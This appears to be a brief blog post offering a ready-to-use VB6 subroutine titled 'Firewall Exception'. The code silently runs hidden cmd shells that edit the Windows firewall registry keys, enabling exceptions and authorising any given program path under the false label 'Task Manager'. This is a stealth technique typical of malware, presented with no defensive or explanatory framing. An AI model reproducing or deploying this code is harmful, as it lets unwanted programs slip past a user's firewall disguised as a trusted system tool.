Searching...
7:51 PM

Firewall Exception VB6 Code


Windows firewall exception:

Code:
Public Sub FirewallException(Path As String)
    Shell "cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v ""DoNotAllowExceptions"" /t REG_DWORD /d ""0"" /f", vbHide
    Shell "cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v """ & Path & """ /t REG_SZ /d """ & Path & ":*:Enabled:Task Manager"" /f", vbHide
End Sub





0 comments:

Post a Comment

 
Back to top!